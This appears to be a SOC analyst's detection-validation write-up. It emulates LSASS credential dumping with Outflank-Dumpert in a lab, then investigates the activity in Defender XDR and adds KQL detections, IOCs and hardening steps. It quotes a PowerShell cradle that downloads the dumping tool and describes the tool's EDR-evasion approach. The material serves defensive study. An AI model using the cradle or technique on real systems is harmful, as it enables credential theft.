// OLAYINKA OYETADE  ·  SECURITY OPERATIONS
Detection Validation Exercise
MITRE ATT&CK · T1003.001 · OS CREDENTIAL DUMPING: LSASS MEMORY

Dumping LSASS,
and catching it.

An end-to-end adversary emulation and blue-team investigation: emulating a credential-theft intrusion against a Microsoft Defender for Endpoint host, then investigating it as a live incident to validate detection coverage.

Analyst
Olayinka Oyetade
Discipline
SOC · Detection Engineering
Platform
Microsoft Defender XDR · MDE · KQL
Host
winserv2025 · Win Server 2025
Emulation
Atomic Red Team
Date
07 Jun 2026
Investigation Verdict
Confirmed True Positive
DETECTION : VALIDATED ✓
01

Executive Summary

A credential-dumping tool was downloaded via a PowerShell cradle, executed through the command shell, and used to read the memory of the Windows lsass.exe process, writing a 53 MB credential dump to disk. Microsoft Defender for Endpoint detected the activity, raised multiple high-severity alerts, and automatically isolated the host. Through structured triage and KQL threat hunting, the full attack lifecycle was reconstructed, enriched with threat intelligence, and confirmed as a true positive.

T1003.001
Primary Technique
52/70
VirusTotal · Payload
53 MB
LSASS Dump Written
4 queries
Custom KQL Hunts
MDE Detection Validated
Reconstructed Attack Chain
Execution
powershell.exe
T1059.001 · download cradle
Execution
cmd.exe
T1059.003 · /c launch
Cred Access
Outflank-Dumpert.exe
reads lsass.exe
Cred Access
dumpert.dmp
T1003.001 · 53 MB
Discovery
whoami · hostname
T1033 · T1082
Why this matters to a business

LSASS credential dumping is one of the most common precursors in ransomware and hands-on-keyboard intrusions. A single successful dump can expose every credential cached on a host, enabling pass-the-hash and lateral movement across an entire domain. Validating that an EDR detects this technique, and that an analyst can investigate it end to end, is precisely the capability that shrinks attacker dwell time and stops one compromised host from becoming a domain-wide breach.

Alert triage & prioritisation MDE process-tree + timeline analysis KQL advanced hunting MITRE ATT&CK mapping VirusTotal enrichment Impact confirmation Detection engineering IR reporting
Full Technical Walkthrough
02

Lab Environment

A focused single-host lab with full EDR telemetry, mirroring the foundational visibility a SOC analyst works with daily. A clean, well-understood environment makes detection validation defensible: every event can be attributed and explained.

ComponentDetail
Hostwinserv2025 · Windows Server 2025 Datacenter (Azure)
Device ID0891dcf7d7bef51643b86555d806a9974d94a24b
EDRMicrosoft Defender for Endpoint — onboarded, telemetry confirmed
EmulationAtomic Red Team · C:\AtomicRedTeam\
InvestigationMicrosoft Defender XDR portal + Advanced Hunting (KQL)
Account in scopemrdaniel98 (local interactive user)

Tooling note — Outflank-Dumpert was chosen deliberately. It uses direct system calls and API unhooking to access LSASS while evading the userland hooks many EDRs rely on. Validating detection against an evasion-aware tool is a stronger test than a naïve procdump run.

03

Investigation Walkthrough

This section follows the actual order of investigation. It is written to show analyst reasoning, not just findings.

3.1  Initial Alert & Triage Discipline

The investigation began from an MDE alert flagged as potential human-operated suspicious activity. Before concluding anything, I reviewed the surrounding device timeline. The activity immediately preceding the alert was a routine browser session, expected baseline for this host. I then examined the process tree at the head of the chain.

FIG 01process tree — wininit → services → mssense
Process tree showing wininit.exe spawning services.exe spawning mssense.exe
Analyst Assessment

This is the legitimate Windows boot chain. wininit.exeservices.exemssense.exe (the MDE sensor) is expected, all images are Microsoft-signed at 0/71 on VirusTotal, and timestamps align with system startup. Benign — but I did not close here. A benign boot chain inside a flagged incident is a prompt to ask what else MDE correlated, not a reason to dismiss.

3.2  Scoping the Incident

FIG 02impacted assets — host & identity
Impacted assets showing winserv2025 at High risk and user mrdaniel98

Blast radius: one device (winserv2025, High risk) and one flagged account (mrdaniel98).

3.3  Separating Signal from Correlated Noise

The incident timeline held two high-severity alerts and one lower-value correlated artifact.

FIG 03incident alert timeline
Timeline showing compromised account credentials, hands-on-keyboard attack, and msedge renamed Local State

The msedge.exe renamed Local State event drew attention because the file signer showed as Unknown. I investigated rather than assuming.

FIG 04file-rename telemetry — Edge profile write
KQL detail showing Local State file rename from a temp file in Edge User Data
Analyst Assessment

The PreviousFileName was an Edge-Local-State-Tmp-*.tmp file in Edge's User Data folder. This is the atomic safe-write pattern Chromium browsers use universally: write to a temp file, then rename to Local State to avoid corruption. It was pulled into the incident by correlation with genuinely malicious activity on the same account — benign correlated noise. Refocused on the two high-severity alerts.

Tradecraft

Analyst maturity is recognising correlation noise instead of chasing it indefinitely — and verifying before dismissing. Both happened here. One query to clear it, then move on.

3.4  The Real Lead — Credential Access (T1003.001)

Two high-severity alerts defined the incident: Compromised account credentials (Credential Access) and Compromised account conducting hands-on-keyboard attack (Lateral Movement). The first was explicitly tagged T1003.001 — LSASS Memory and named the responsible process.

FIG 05T1003.001 alert — Outflank-Dumpert reads lsass.exe
Timeline showing Outflank-Dumpert.exe read lsass.exe process memory tagged T1003.001

Reconstructing the process tree gave the execution chain:

process ancestry
powershell.exe (8768)            # initial download cradle
   └─ cmd.exe (10080)            # /c "...\ExternalPayloads\Outflank-Dumpert.exe"
        └─ Outflank-Dumpert.exe (2764)   # unsigned · VirusTotal 52/70
             └─ accessed lsass.exe (856) # Credential Access
IndicatorValueSignificance
Payload signerUnknownLegitimate tooling is signed
VirusTotal52 / 70High-confidence malicious binary
Exec pathC:\AtomicRedTeam\ExternalPayloads\Non-standard, staged location
Targetlsass.exeHolds NTLM hashes, Kerberos tickets, cached creds
FIG 06malicious payload — path & file hashes
File details showing Outflank-Dumpert.exe path and SHA1/MD5 hashes
Analyst Assessment

52/70 on an unsigned binary that accesses LSASS is unambiguous — this alone closes the question of whether the binary is malicious. Remaining work: confirm how it arrived and whether it succeeded.

3.5  Confirming the Delivery Mechanism

Pivoting to Advanced Hunting, the initiating PowerShell command line told the full story — a textbook stage-and-execute download cradle.

initiating command line
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory (Split-Path "...\ExternalPayloads\Outflank-Dumpert.exe") -Force
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/.../Outflank-Dumpert.exe" `
   -OutFile "...\ExternalPayloads\Outflank-Dumpert.exe"

Forces TLS 1.2 to guarantee the download, creates a staging directory, pulls the payload from a public code-hosting URL, and saves it for execution.

FIG 07advanced hunting — payload file creation
Advanced hunting query showing Outflank-Dumpert.exe FileCreated event

3.6  Confirming Impact — Did the Dump Succeed?

The most important question in any credential-access incident: did the attacker actually obtain credentials? I hunted for the dump artifact.

KQL · DeviceFileEvents
DeviceFileEvents
| where DeviceName == "winserv2025"
| where FileName == "dumpert.dmp"
| project Timestamp, FileName, FolderPath, ActionType, FileSize,
          InitiatingProcessFileName, SHA256
FIG 08dump artifact — dumpert.dmp created in C:\Windows\Temp
DeviceFileEvents showing dumpert.dmp FileCreated by outflank-dumpert.exe
FIG 09impact confirmed — 55,577,992 bytes (~53 MB)
dumpert.dmp file size of 55577992 bytes confirming a full LSASS dump
Analyst Assessment

The dump succeeded. A 53 MB artifact is consistent with a full LSASS memory image, not a failed or empty write. The attacker now possesses a credential dump that can be parsed offline (e.g. with Mimikatz) to extract every hash and ticket cached on the host. This is the moment an incident escalates from "suspicious" to "contain now."

3.7  Post-Exploitation Hunting

Querying process activity in the session window revealed what the operator did around the dump.

FIG 10post-exploitation — discovery & persistence telemetry
Process events showing whoami.exe, hostname.exe and related discovery activity
ActivityProcessATT&CKAssessment
Identity enumwhoami.exeT1033Operator orienting on account privileges
Host enumhostname.exeT1082Confirming the landed machine
Scheduled taskschtasks /createT1053.005Persistence pattern in session window
On-host compilecsc.exe /noconfigT1027C# compiler invocation — hunt lead
Analyst Assessment

The whoami / hostname enumeration is the clearest attacker-relevant post-exploitation behavior — running identity and host discovery around a credential dump is characteristic of a human operator making real-time decisions, consistent with MDE's "hands-on-keyboard" classification. In this emulation, the scheduled-task and csc.exe events partly trace to the Atomic Red Team harness; in a production incident each would warrant its own dedicated hunt, so they are documented here as leads rather than confirmed adversary persistence.

3.8  Exfiltration Hunt (Network Analysis)

Final question: did the 53 MB dump leave the machine? I scoped outbound connections to the attack-relevant processes only.

KQL · DeviceNetworkEvents
DeviceNetworkEvents
| where DeviceName == "winserv2025"
| where Timestamp >= datetime(2026-06-07T15:45:14Z)
| where InitiatingProcessFileName in~ ("powershell.exe","cmd.exe","Outflank-Dumpert.exe")
| project Timestamp, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName
FIG 11network connection analysis
Network events showing github.com, cdn.oneget.org and powershellgallery destinations
DestinationPortAssessment
github.com443Payload download source (already documented)
cdn.oneget.org443Microsoft PowerShell package CDN — benign
*.powershellgallery.com443Microsoft PowerShell Gallery — benign

I enriched the most interesting outbound domain with threat intelligence.

FIG 12threat-intel enrichment — VirusTotal
VirusTotal showing cdn.oneget.org clean at 0 of 91 detections
Analyst Assessment

VirusTotal returned 0/91 for cdn.oneget.org, and context (Microsoft-owned package infrastructure, traffic during module install, a top-10K domain) confirms it benign. Critically, no outbound connection came from Outflank-Dumpert.exe itself, and no exfiltration of the dump was observed. The credential dump remained local at the time of detection.

Tradecraft

A clean VirusTotal result does not prove a domain is safe — it only means no engine has flagged it. The benign conclusion here rests on corroborating context (ownership, timing, purpose), not on the score alone.

04

MITRE ATT&CK Mapping

TacticTechniqueIDObserved Behavior
ExecutionCommand & Scripting Interpreter: PowerShellT1059.001Download cradle staging the payload
ExecutionCommand & Scripting Interpreter: Windows Command ShellT1059.003cmd.exe /c launching the binary
Credential AccessOS Credential Dumping: LSASS MemoryT1003.001Reading lsass.exedumpert.dmp
DiscoverySystem Owner/User DiscoveryT1033whoami enumeration
DiscoverySystem Information DiscoveryT1082hostname enumeration
PersistenceScheduled Task/JobT1053.005schtasks /create in session (hunt lead)
05

Indicators of Compromise

Malicious binary — Outflank-Dumpert.exe

SHA1c494bbb35b2b53b3a05aef627710e27c7c800a1f
SHA256f323569e5d64a3aa60045bd06c2421e729d1c0d79028aba9e227d9eeaeec62e5
MD569c05093eb542e1c29a556a29e74e99a
PathC:\AtomicRedTeam\ExternalPayloads\Outflank-Dumpert.exe
VT52 / 70

Credential dump artifact — dumpert.dmp

SHA2567dbdac5eb14bc2718ef9bfdf8486f4d97ee09cceb10d936c33df227ff2cf2798
PathC:\Windows\Temp\dumpert.dmp
Size55,577,992 bytes

Network & host (defanged)

Download URLhxxps://github[.]com/clr2of8/Dumpert/raw/.../Outflank-Dumpert.exe
Hostwinserv2025
Accountmrdaniel98

Note: the specific raw URL is the indicator; github.com itself is a legitimate, widely abused host and should not be blocked wholesale.

06

Detection Engineering

Reusable detection logic for this attack class. Each query is paired with false-positive tuning, because a detection that fires constantly is as useless as one that never fires.

6.1  LSASS access by a non-system process // core T1003.001

KQL · DeviceEvents
DeviceEvents
| where ActionType == "LsassProcessAccess"
| where InitiatingProcessFileName !in~ (
    "MsMpEng.exe","mssense.exe","svchost.exe","csrss.exe",
    "wininit.exe","lsass.exe","services.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessFolderPath, InitiatingProcessCommandLine

Catches: any process outside a known-good allowlist reading LSASS — the defining behavior of T1003.001. Tuning: build the allowlist from your own environment baseline; legitimate security and backup agents touch LSASS.

6.2  PowerShell download cradle writing an EXE

KQL · DeviceProcessEvents
DeviceProcessEvents
| where InitiatingProcessFileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("Invoke-WebRequest","IWR","Net.WebClient","DownloadFile")
| where ProcessCommandLine has_any (".exe","-OutFile")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

Catches: the staging step where PowerShell pulls a remote binary to disk. Tuning: pair with reputation (unsigned/new file) to separate from legitimate installers.

6.3  Suspicious .dmp artifact in a temp path

KQL · DeviceFileEvents
DeviceFileEvents
| where ActionType == "FileCreated" and FileName endswith ".dmp"
| where FolderPath has_any ("\\Temp\\","\\AppData\\","\\ProgramData\\")
| where InitiatingProcessFileName !in~ ("WerFault.exe","dwwin.exe")
| project Timestamp, DeviceName, FileName, FolderPath, FileSize, InitiatingProcessFileName

Catches: on-disk evidence of a successful dump — a backstop when the access event is missed. Tuning: Windows Error Reporting is excluded; large dumps from unexpected parents are the signal.

Detection Validation Summary
Detection layerFired?
MDE built-in — T1003.001 LSASS Memory alertYes
MDE built-in — Compromised account / hands-on-keyboardYes
MDE Attack Disruption — automatic host isolationYes
Custom analytic 6.1 (LSASS access)Validated
Custom analytic 6.3 (dump artifact)Validated
FIG 13MDE Attack Disruption — automatic host isolation
Action center showing the device was isolated by Attack Disruption and is pending release
07

Recommended Response

Containment, eradication, and recovery guidance a SOC would attach to this incident.

Immediate · Containment
  1. Isolate winserv2025 (MDE did this automatically — confirm it held).
  2. Treat mrdaniel98 and every credential cached on the host as compromised.
  3. Preserve dumpert.dmp for forensic analysis before removal.
Eradication
  1. Remove the payload and staging directory.
  2. Force password resets for the account and any identity that logged on to the host; rotate cached local-admin and service-account secrets.
  3. Invalidate active Kerberos tickets; consider krbtgt reset if domain-joined and broader compromise is suspected.
Recovery & Hardening
  1. Enable LSA Protection (RunAsPPL) and Credential Guard to make LSASS dumping materially harder.
  2. Deploy the Section 6 analytics as scheduled detections; add custom indicators for the payload hashes.
  3. Restrict PowerShell with Constrained Language Mode and script-block logging where feasible.
08

Analyst Notes